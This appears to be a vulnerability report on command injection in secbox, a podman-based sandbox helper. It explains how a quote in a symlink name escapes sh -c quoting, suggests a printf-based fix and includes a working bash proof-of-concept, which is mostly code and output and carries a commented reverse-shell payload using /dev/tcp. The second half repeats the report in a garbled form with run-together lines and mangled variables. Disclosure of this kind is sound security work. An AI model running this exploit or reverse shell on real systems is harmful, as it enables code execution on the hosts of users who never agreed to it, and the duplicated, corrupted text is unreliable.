podman container exec $container sh -c "echo "$*" > "$_pts""
$* embeds ${script_name}, which is derived from BASH_SOURCE[0] (the
invocation path). On Linux, filenames may contain ". A symlink whose name
contains " breaks the sh -c quoting, injecting arbitrary commands into
every active secbox terminal session.
Because the container bind-mounts the host's $HOME and /tmp, commands
execute with write access to the host user's home directory.
Expected result
./secbox_exploit.sh
[] pts sessions: /dev/pts/0
[] Injecting into 1 session(s)...
==== Another secbox
[+] /tmp/sec_pwned created - code execution confirmed on host
Logs/Screenshots
./secbox_exploit.sh
[] pts sessions: /dev/pts/0
[] Injecting into 1 session(s)...
==== Another secbox
[+] /tmp/sec_pwned created - code execution confirmed on host
Possible fixes
Rewrite
podman 2>/dev/null container exec $container sh -c "echo "$*" > "$_pts""
as
podman 2>/dev/null container exec "$container" sh -c 'printf "%s\n" "$1" > "$2"' -- "$*" "$_pts"
to get:
./secbox_exploit.sh
[] pts sessions: /dev/pts/0
[] Injecting into 1 session(s)...
[-] /tmp/sec_pwned not found
POC
#!/usr/bin/env bash
# Exploit: command injection in secbox msg_to_secbox_sessions() - secbox:192
#
# sh -c "echo \"$*\" > \"$_pts\""
#
# $* embeds script_name as is. A " in the name breaks sh -c quoting,
# injecting arbitrary commands into every active secbox terminal session.
# /tmp and $HOME are bind-mounted into the container -> writes reach the host.
set -u
SECBOX=/usr/bin/secbox
# Load vulnerable function and its dependency from the real secbox
eval "$(sed -n '/^msg_to_secbox_sessions()/,/^}/p' "$SECBOX")"
eval "$(sed -n '/^secbox_container_exists()/,/^}/p' "$SECBOX")"
container="secbox"
secbox_container_exists || { echo "[!] secbox container not running"; exit 1; }
# Spawn a pty-attached exec to register /dev/pts/N inside the container
podman container exec -t secbox sleep 10 >/dev/null 2>&1 &
_bg=$!
sleep 1
pts=$(podman container exec secbox \
find /dev/pts/ -maxdepth 1 -regex '^/dev/pts/[0-9]+$' 2>/dev/null)
if [[ -z "$pts" ]]; then
echo "[!] No pts sessions found - open a 'secbox' interactive terminal first"
kill "$_bg" 2>/dev/null
exit 1
fi
echo "[*] pts sessions: $(printf '%s' "$pts" | tr '\n' ' ')"
# Payload
# /tmp is bind-mounted from the host: sec_pwned will appear on both sides.
payload='touch /tmp/sec_pwned'
# Reverse shell - set LHOST/LPORT, then swap the payload lines:
# payload='bash -i >& /dev/tcp/LHOST/LPORT 0>&1 &'
# Inject via crafted script_name
# Breaks the sh -c string:
# sh -c "echo \"==== Another secbox\"; <PAYLOAD>; echo \" instance...\" > \"$_pts\""
injected_name="secbox\"; ${payload}; echo \""
message="==== Another ${injected_name} instance has mounted dist:/mounts in /mounts ===="
echo "[*] Injecting into $(printf '%s\n' "$pts" | wc -l) session(s)..."
msg_to_secbox_sessions "$message"
sleep 0.3
if [[ -f /tmp/sec_pwned ]]; then
echo "[+] /tmp/sec_pwned created - code execution confirmed on host"
rm -f /tmp/sec_pwned
else
echo "[-] /tmp/sec_pwned not found"
fi
wait "$_bg" 2>/dev/null || true
podman container exec$container sh -c "echo "$ *" > "$_pts""
invocation path). On Linux, filenames may contain ". A symlink whose name
contains " breaks the sh -c quoting, injecting arbitrary commands into
every active secbox terminal session.
Because the container bind-mounts the host's $HOME and /tmp, commands
execute with write access to the host user's home directory.
Expected result
./secbox_exploit.sh[] pts sessions: /dev/pts/0
[] Injecting into 1 session(s)...
==== Another secbox
[+] /tmp/sec_pwned created - code execution confirmed on host
Logs/Screenshots
./secbox_exploit.sh[] pts sessions: /dev/pts/0
[] Injecting into 1 session(s)...
==== Another secbox
[+] /tmp/sec_pwned created - code execution confirmed on host
Possible fixes
Rewrite$container sh -c "echo "$ *" > "$_pts""
podman 2>/dev/null container exec
as
podman 2>/dev/null container exec "$container" sh -c 'printf "%s\n" "$1" > "$2"' -- "$*" "$_pts"
to get:
./secbox_exploit.sh
[] pts sessions: /dev/pts/0
[] Injecting into 1 session(s)...
[-] /tmp/sec_pwned not found
POC